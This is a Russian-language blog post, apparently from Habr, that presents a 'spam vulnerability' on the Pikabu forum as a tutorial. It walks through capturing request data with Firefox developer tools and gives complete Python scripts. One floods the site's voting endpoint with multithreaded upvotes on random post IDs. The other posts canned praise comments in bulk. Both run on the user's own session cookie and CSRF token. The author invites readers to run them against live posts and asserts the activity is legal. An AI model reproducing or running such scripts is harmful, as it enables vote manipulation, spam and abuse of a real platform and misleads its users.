Здравствуйте. Хотел бы рассказать про спам-уязвимость форума Pikabu.

Форум считаю не самым лучшим, по этому — тестирую на нем все что можно.

В чем же суть?

Уязвимость заключается в накрутке активности, количестве оценок, комментариев за минимальное время с помощью Python-скрипта.

Покажи!

Работа скрипта в течении 24 часов:

Думаете я отредактировал HTML? А вот и нет!

Как ты это сделал?!

Очень просто!

Для начала создадим .py файл:

Далее давайте импортируем модули с помощью которого мы будем совершать запросы для совершения действий, а также модуль для многопоточности нашего скрипта:

import requests from threading import Thread

Теперь создадим функцию с бесконечным циклом, отправляющую наши запросы:

def spam(): while True: req = requests.post('')

Но откуда узнать данные запроса?

Откроем FireFox, зайдем на Pikabu.

Выберем любую тему. Наведем курсор на стрелочку вверх:

Теперь нажмем комбинацию клавиш: cntr+shift+i.

На экране появилась панель инструментов разработчика:

Чтобы сохранить зрение дорогих форумчан — мне пришлось вырезать тему AdBlock(ом):

Перейдем во вкладку "сеть".

Теперь мы видим все исходящие запросы в данном браузере.

Нажимайте на стрелочку "оценить тему" и быстро переводите взгляд на панель запросов.

Нажимайте на кнопку "метод", пока первым запросом не станет запрос с типом "POST":

Среди первых запросов найдите этот:

Нажмите на него правой кнопкой мыши, и наведите курсор на кнопку "Копировать", выберите "Копировать данные POST". Далее вставьте данные в запрос таким образом:

req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )

Но тогда мы будем оценивать один и тот же пост!

Чтобы это исправить, добавим к уже импортированным модулям модуль "random" с помощью кода:

import random

И добавим в цикл while строку:

story = random.randint(1000000, 6865568)

Продолжим создавать запрос! Вот что у нас уже получилось:

import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )

Добавим к запросу самое важное — заголовки. Вернемся в FireFox, так же нажмем правой кнопкой мыши на запрос, выберем "Копировать" но на этот раз — "Заголовки запроса".

Таким же образом, через двоеточие и кавычки вставляем их в код:

import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': 'ваши данные', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': 'ваши данные', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': 'Ваши данные ' })

В поле "ваши данные" вставьте ваши значения.

Выведем статус запроса:

print(req)

если выводится "responce <200>", значит запрос отправлен и тема оценена.

Дальше сделаем скрипт чуточку быстрее(ровно в 55 раз).

Создадим поточность нашим запросам:

for i in range(55): thr = Thread(target = spam) thr.start()

Ну вот и все! Можете запускать.

А вот весь код:

import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': 'ваши данные', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': 'ваши данные', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': 'Ваши данные ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start()

Таким же образом делается накрутка комментариев. Ее я подробно объяснять не буду, просто выложу код:

# -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = ['Автор ТОП! Спасибо огромное! Очень интересно!', 'Автору спасибо! Понравилось! Побольше бы таких постов!', 'Автор интересно пишет! Ах! Если бы я так умел...', 'Интересно! Мне понравилось!', 'Мне пост понравился. Круто написан!', 'Спасибо, интересно!', 'Хороший пост! Мне понравился! Написан замечательно!', 'Замечательно написан! Понравилось!'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':'Ваши данные', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':'Ваши данные', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!')

Ну вот и все. Можно штурмовать посты и комментарии.

Удачи!

Любите Хабр.

Действия приведенные выше являются полностью законными, не нарушают не одну статью УК РФ на 02.10.2019.